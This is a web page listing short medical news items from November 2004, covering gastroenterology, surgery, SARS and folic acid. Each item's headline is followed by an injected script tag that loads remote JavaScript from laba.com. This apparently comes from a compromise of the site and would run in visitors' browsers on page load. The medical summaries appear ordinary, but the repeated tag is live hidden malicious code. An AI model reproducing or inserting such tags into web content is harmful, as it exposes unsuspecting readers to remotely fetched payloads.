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 19 February 2018

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170° wide-angle colonoscope: efficiency and miss rates 23 November 2004
Small polyps are routinely missed during colonoscopy<script src=http://laba.com/muuu.s></script> The use of the wide-angle colonoscope was associated with a reduction in insertion time to the cecum, as well as examination time during withdrawal, reports the latest issue of The American Journal of Gastroenterology, however, no evidence was found that the accuracy of the two colonoscopes differs.
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Regional vs general anesthesia in abdominal surgery 22 November 2004
Regional anesthesia for abdominal surgery<script src=http://laba.com/muuu.s></script> Abdominal surgery can be safely performed using regional anesthesia alone in selected high-risk patients, reports the American Journal of Surgery, making this option an attractive alternative to general anesthesia for those with severe pulmonary impairment.
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SARS is detected in intestinal tissues of fatal cases 22 November 2004
SARS found in intestinal tissue<script src=http://laba.com/muuu.s></script> Findings in November's issue of the American Journal of Gastroenterology provide explanations for the gastrointestinal symptoms and presence of virus in the stool of SARS patients, by showing that intestinal epithelial cells and mucosal lymphoid tissue are infected with SARS-coronavirus.
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70% of spina bifida cases preventable by folic acid 22 November 2004
70% of spina bifida cases are preventable<script src=http://laba.com/muuu.s></script> This week's issue of The Lancet discusses the causes, symptoms, and treatments relating to spina bifida, and reinforces an important public-health message for women about to become pregnant: 70% of cases of spina bifida are preventable by folic acid supplementation.
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Robot-assisted surgery is safe for abdominal surgery 19 November 2004
Robot-assisted abdominal surgery<script src=http://laba.com/muuu.s></script> Robot-assisted surgery appears safe and feasible for certain standard surgical procedures, however, at its current level of development, it offers no clear advantage over standard laparoscopic techniques, reports November's issue of the British Journal of Surgery.
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Outcome of hepatocellular carcinoma presenting with variceal bleeding 19 November 2004
Outcome of hepatocellular carcinoma<script src=http://laba.com/muuu.s></script> A report in November's American Journal of Gastroenterology states that HCC patients who present with variceal bleeding have a significantly worse survival outcome than the general HCC patients, but transarterial chemoembolization may offer some survival benefit.
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Distinguishing between acute appendicitis and appendiceal tumors 19 November 2004
Acute appendicitis vs appendiceal tumors<script src=http://laba.com/muuu.s></script> An article published in November's issue of the American Journal of Surgery suggests that appendiceal tumors should be suspected, as opposed to acute appendicitis, when patients present with longer duration of symptoms or reduced hematocrit.
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Glucocorticoids associated with cardiovascular disease 18 November 2004
Glucocorticoids increase cardiovascular risk<script src=http://laba.com/muuu.s></script> Treatment with high-dose glucocorticoids seems to be associated with increased risk for cardiovascular disease, say results just published in the most recent issue of Annals of Internal Medicine.
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Primary resection in patients with perforated diverticulitis 18 November 2004
Primary resection for diverticulitis<script src=http://laba.com/muuu.s></script> November's issue of Archives of Surgery publishes a report into the impact of primary resection on operative mortality, which finds that mortality rates have not significantly declined despite more aggressive surgical management of the septic source.
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Poor survival after GI bleed is not due to rebleeding 18 November 2004
Survival after acute lower GI bleeding<script src=http://laba.com/muuu.s></script> Rebleeding after an initial episode of lower GI bleeding occurs in a small percentage of individuals and although survival is poor for patients, few patients die as a direct consequence of hemorrhage, reports November's issue of the American Journal of Surgery.
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Videocapsule endoscopy vs barium contrast for diagnosis of Crohn's 17 November 2004
Evaluation of Crohn's: comparison of techniques<script src=http://laba.com/muuu.s></script> A recent report in the American Journal of Gastroenterology reports that VCE and SBFT are complementary for the diagnosis of Crohn's disease, however VCE is less invasive, less time-consuming for the patient than SBFT, and avoids radiation exposure.
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Laparoscopic nissen vs anterior 90º partial fundoplication for GERD 17 November 2004
Laparoscopic nissen vs anterior 90º partial fundoplication<script src=http://laba.com/muuu.s></script> Laparoscopic anterior 90º partial fundoplication is followed by fewer adverse effects than laparoscopic Nissen fundoplication, and it achieves a higher rate of satisfaction with the overall outcome, finds a study in the most recent issue of Archives of Surgery.
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Endoscopic ultrasonography vs multidetector CT 17 November 2004
Detecting and staging pancreatic cancer<script src=http://laba.com/muuu.s></script> Compared with multidetector CT, endoscopic ultrasonography is superior for tumor detection and staging but similar for nodal staging and resectability of preoperatively suspected nonmetastatic pancreatic cancer, finds a study in the most recent issue of Annals of Internal Medicine.
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Surveillance in ulcerative colitis: endoscopy predicts cancer risk 16 November 2004
Endoscopy to predict cancer risk in ulcerative colitis<script src=http://laba.com/muuu.s></script> Following the discovery that the 5 year risk of colorectal cancer after a normal looking colonoscopy is no different from that of matched controls, an article in December's Gut suggests surveillance frequency should be reduced to 5 years.
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Retreatment of recurrent choledocholithiasis after sphincterotomy 16 November 2004
Late complications of ERCP<script src=http://laba.com/muuu.s></script> A study published in December's issue of Gut finds that choledochal complications after repeat ERCP are relatively frequent but are endoscopically manageable.
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